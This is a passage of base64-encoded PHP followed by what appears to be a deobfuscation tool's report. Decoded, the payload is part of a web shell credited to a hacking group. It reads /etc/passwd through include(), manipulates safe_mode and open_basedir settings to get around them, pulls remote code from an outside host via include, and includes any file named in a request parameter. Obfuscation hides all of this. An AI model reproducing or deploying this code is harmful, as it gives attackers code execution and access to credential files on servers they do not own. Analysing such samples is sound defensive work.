IgZW1wdHkoJF9HRVRbJ2FjdGlvbiddKSBPUiAoJF9HRVRbJ2FjdGlvbiddID09ICJkaXIiKSkgew0KCQkJZWNobyAiPEZPUk0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRSRVFVRVNUX1VSSScgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+IjsNCgkJCWVjaG8gIjxwIGFsaWduPVwiY2VudGVyXCI+PElOUFVUIHR5cGU9J3N1Ym1pdCcgbmFtZT0naW5jbHVkMycgdmFsdWU9J0luY2x1ZGUnICBpZD1pbnB1dDA+PC9mb250Pjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiIGZhY2U9XCJWZXJkYW5hXCI+IAk8SU5QVVQgdHlwZT0nc3VibWl0JyBuYW1lPSdpbmNsdWQzMicgdmFsdWU9J19HRVRbc2FmZV0nIGlkPWlucHV0PiI7DQoJCQl9DQoNCgkJCWlmICAoZW1wdHkoJF9QT1NUWydpbmNsdWQzJ10gKSApIHsNCgkJCX1FTFNFew0KCQkJJGFjdGlvbiA9ICc/YWN0aW9uPWluY2x1ZDMnOw0KCQkJCWVjaG8gIjx0YWJsZSBXaWR0aD0nMTAwJScgaGVpZ2h0PScxMCUnIGJnY29sb3I9JyMwMDAwMDAnIGJvcmRlcj0nMScgZGlyPVwibHRyXCI+PHRyPg0KICA8dGQgZGlyPVwibHRyXCI+PHAgYWxpZ249XCJjZW50ZXJcIiBkaXI9XCJsdHJcIj48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIiBzaXplPVwiMlwiIGZhY2U9XCJWZXJkYW5hXCI+IjsNCgkJICAgIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQoJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJaW5jbHVkZSgiL2V0Yy9wYXNzd2QiKTsNCgkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgkJCWVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQoJCQllY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KCQkJaW5jbHVkZSgiL2V0Yy9wYXNzd2QiKTsNCgkJCWVjaG8gIjwvZm9udD48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4iO30NCgkJCQ0KCQkJaWYgIChlbXB0eSgkX1BPU1RbJ2luY2x1ZDMyJ10gKSApIHsNCgkJCX1FTFNFew0KCQkJJGFjdGlvbiA9ICc/YWN0aW9uPWluY2x1ZDMyJzsNCgkJCQllY2hvICI8dGFibGUgV2lkdGg9JzEwMCUnIGhlaWdodD0nMTAlJyBiZ2NvbG9yPScjMDAwMDAwJyBib3JkZXI9JzEnIGRpcj1cImx0clwiPjx0cj4NCiAgPHRkIGRpcj1cImx0clwiPjxwIGFsaWduPVwiY2VudGVyXCIgZGlyPVwibHRyXCI+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCIgc2l6ZT1cIjJcIiBmYWNlPVwiVmVyZGFuYVwiPiI7DQoJCQkkc2FmZSA9IGluY2x1ZGUgImh0dHA6Ly9oYWNrdGVhY2gub3JnL2ltYWdlcy96M3JvLnR4dD8iOw0KCQkJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KCQkJaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KCQkJZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCgkJCWVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQoJCQlpbmNsdWRlKCRfR0VUWyIkc2FmZSJdKTsNCgkJCQ0KCQkJZWNobyAiPC9mb250PjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPiI7fT8+DQogICAgICAgICAgPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgIAkgIDx0cj4NCiAgICAgICAgICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxOSIgZGlyPSJsdHIiPjwvdGQ+DQogICAgICAgICAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMTkiIGRpcj0ibHRyIj48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiIGRpcj0ibHRyIj4NCiAgICAgICAgICA8Y2VudGVyIGRpcj0ibHRyIj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSJUYWhvbWEiIHNpemU9IjIiPjxiPjxmb250IGNvbG9yPSIjRkZGRkZGIj5Db2RlZCBCeSA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5oYWNrdGVhY2gub3JnL2NjL3ByaXZhdGUucGhwP2RvPW5ld3BtJnU9NCI+DQogICAgICAgICAgPGZvbnQgY29sb3I9IiNGRjAwMDAiPkNvbGQgejNybzwvZm9udD48L2E+IC8gQ29weXJpZ2h0Jm5ic3A7IGlzIHJlc2VydmVkIHRvIENvbGQgejNybyAyMDA3LzIwMDg8YnI+WyBIYWNrLVRlYWNoLVRlYW0gOiBHbyBUbyA6IDwvZm9udD4gPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly93d3cuaGFja3RlYWNoLm9yZy9jYyc+DQogICAgICAgICAgPGZvbnQgY29sb3I9IiNGRjAwMDAiPkh0dHA6Ly9IYWNrVGVhY2guT3JnPC9mb250PjwvYT48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQogICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRkZGIj5dIDwvZm9udD4gPC9iPjwvZm9udD48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjE5IiBkaXI9Imx0ciI+Jm5ic3A7PC90ZD4NCiAgICAgICAgIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjE5IiBkaXI9Imx0ciI+Jm5ic3A7PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICA8L3RhYmxlPg0KICAgICAgPC90ZD4NCiAgICA8L3RyPg0KICA8L3RhYmxlPg0KICA8L3RhYmxlPg0KICA8L2NlbnRlcj4NCiAgPC9kaXY+DQogICA8L3RoPg0KICAgPC9kaXI+DQo8aHRtbD4NCjxib2R5IGJnY29sb3I9IiNDMEMwQzAiPg=='));?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c29368ae53726e8dbf78d1a6076d80fc
Eval Count 1
Decode Time 153 ms